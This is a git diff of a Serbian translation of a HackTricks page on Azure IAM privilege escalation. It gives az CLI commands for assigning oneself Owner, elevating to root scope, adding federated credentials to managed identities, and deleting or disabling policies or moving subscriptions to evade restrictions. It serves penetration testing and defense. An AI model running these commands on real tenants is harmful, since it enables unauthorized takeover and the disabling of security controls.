mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# Az - Azure IAM Privesc (Authorization)
|
||||
# Az - Azure IAM Privesc (Autorizacija)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,16 +12,16 @@ Za više informacija pogledajte:
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Ova dozvola omogućava dodeljivanje uloga principima unutar specifičnog opsega, omogućavajući napadaču da eskalira privilegije dodeljivanjem sebi privilegovanije uloge:
|
||||
Ovo dopuštenje omogućava dodeljivanje uloga principalima nad određenim opsegom, omogućavajući attacker-u da eskalira privilegije dodeljivanjem sebi privilegovanije uloge:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
Ova dozvola omogućava modifikaciju dozvola koje dodeljuje uloga, omogućavajući napadaču da eskalira privilegije dodeljivanjem više dozvola ulozi koju je dodelio.
|
||||
Ova dozvola omogućava izmenu dozvola dodeljenih roli, što napadaču omogućava eskalaciju privilegija dodeljivanjem većih ovlašćenja roli koju ima.
|
||||
|
||||
Kreirajte datoteku `role.json` sa sledećim **sadržajem**:
|
||||
Kreirajte fajl `role.json` sa sledećim **sadržajem**:
|
||||
```json
|
||||
{
|
||||
"roleName": "<name of the role>",
|
||||
@@ -36,16 +36,16 @@ Kreirajte datoteku `role.json` sa sledećim **sadržajem**:
|
||||
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
|
||||
}
|
||||
```
|
||||
Zatim ažurirajte dozvole uloge sa prethodnom definicijom pozivajući:
|
||||
Zatim ažurirajte dozvole uloge koristeći prethodnu definiciju pozivajući:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
Ova dozvola omogućava podizanje privilegija i dodeljivanje dozvola bilo kojem principalu za Azure resurse. Namenjena je Entra ID Global Administrátorima kako bi mogli da upravljaju dozvolama nad Azure resursima.
|
||||
Ova dozvola omogućava podizanje privilegija i dodeljivanje ovlašćenja bilo kojem principal-u nad Azure resources. Namenjena je Entra ID Global Administrators tako da oni takođe mogu upravljati permissions nad Azure resources.
|
||||
|
||||
> [!TIP]
|
||||
> Mislim da korisnik treba da bude Global Administrator u Entra ID da bi poziv za podizanje privilegija radio.
|
||||
> Mislim da korisnik treba da bude Global Administrator u Entra ID da bi elevate poziv radio.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
Ova dozvola omogućava dodavanje federisanih kredencijala upravljanim identitetima. Na primer, omogućava pristup Github Actions u repozitorijumu upravljanom identitetu. Zatim, omogućava **pristup bilo kojem korisnički definisanom upravljanom identitetu**.
|
||||
Ova dozvola omogućava dodavanje Federated credentials na managed identities. Na primer, može se dodeliti pristup Github Actions u repo jednoj managed identity. Zatim, omogućava **pristup bilo kojoj korisnički definisanoj managed identity**.
|
||||
|
||||
Primer komande za davanje pristupa repozitorijumu u Github-u upravljanom identitetu:
|
||||
Primer komande za dodeljivanje pristupa repo-u na Github-u jednoj managed identity:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
@@ -71,4 +71,94 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
Napadač koji poseduje dozvolu `Microsoft.Authorization/policyAssignments/write` ili `Microsoft.Authorization/policyAssignments/delete` nad management group, subscription, ili resource group može **izmeniti ili obrisati Azure policy assignments**, potencijalno **onemogućivši sigurnosna ograničenja** koja blokiraju određene operacije.
|
||||
|
||||
To omogućava pristup resursima ili funkcionalnostima koje su prethodno bile zaštićene politikom.
|
||||
|
||||
**Obriši dodelu politike:**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**Onemogućite dodelu politike:**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**Proverite izmene:**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
|
||||
# Show specific policy assignment details
|
||||
az policy assignment show \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
Napadač sa dozvolom `Microsoft.Authorization/policyDefinitions/write` može **izmeniti Azure definicije politika**, menjajući pravila koja kontrolišu bezbednosna ograničenja u celom okruženju.
|
||||
|
||||
Na primer, politika koja ograničava dozvoljene regione za kreiranje resursa može biti izmenjena da dozvoli bilo koji region, ili se efekat politike može promeniti tako da postane neefikasan.
|
||||
|
||||
**Izmeniti definiciju politike:**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
--rules @updated-policy-rules.json
|
||||
```
|
||||
**Proverite promene:**
|
||||
```bash
|
||||
az policy definition list --output table
|
||||
|
||||
az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
Napadač koji ima dozvolu `Microsoft.Management/managementGroups/write` može **izmeniti hijerarhijsku strukturu management groups** ili **kreirati nove management groups**, potencijalno zaobilazeći restriktivne politike primenjene na višim nivoima.
|
||||
|
||||
Na primer, napadač može kreirati novu management group bez restriktivnih politika i zatim premestiti subscriptions u nju.
|
||||
|
||||
**Kreirajte novu management group:**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**Izmenite hijerarhiju management grupe:**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**Proverite izmene:**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
az account management-group show \
|
||||
--name "<managementGroupId>" \
|
||||
--expand
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
Napadač sa dozvolom `Microsoft.Management/managementGroups/subscriptions/write` može **premestiti pretplate između management groups**, potencijalno **izbeći restriktivne politike** premestivši pretplatu u grupu sa manje restriktivnim ili bez politika.
|
||||
|
||||
**Premestite pretplatu u drugu management group:**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
**Proverite promene:**
|
||||
```bash
|
||||
az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user